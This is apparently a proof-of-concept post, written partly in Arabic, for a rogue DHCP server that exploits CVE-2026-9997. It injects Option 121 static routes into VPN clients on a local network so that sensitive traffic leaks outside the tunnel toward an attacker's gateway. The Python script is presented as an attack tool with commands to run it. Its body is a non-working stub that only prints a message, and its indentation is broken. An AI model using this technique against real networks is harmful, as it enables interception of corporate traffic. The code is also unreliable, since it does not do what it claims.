
خادم DHCP مارق لثغرة CVE-2026-9997: يحقن مسارات ثابتة عبر Option 121 في عملاء VPN، متجاوزًا تقسيم النفق (split tunneling) لتسريب حركة المرور الحساسة.
#!/usr/bin/env python3
# rogue_dhcp_server.py - Injects a static route to bypass VPN split tunnel
import socket, struct, threading
def send_dhcp_offer(client_mac, offer_ip):
# Craft a DHCP OFFER packet with Option 121 (Classless Static Route)
# This option adds a route that sends traffic to a sensitive subnet via the attacker's gateway.
# We'll simulate by creating a raw packet (simplified).
# In a real attack, we'd use scapy; here we just demonstrate the concept.
print(f"Sending DHCP OFFER to {client_mac} with malicious static route...")
# The client would then apply this route and leak traffic.
يقبل عميل VPN مؤسسي خيارات DHCP (الخيار 121 – المسارات الثابتة غير الطبقية) من الشبكة المحلية دون تحقق. يمكن للمهاجم المتواجد على نفس الشبكة المحلية حقن مسارات تعيد توجيه البيانات الحساسة خارج نفق VPN المشفر.
python rogue_dhcp_server.py
python vpn_client_sim.py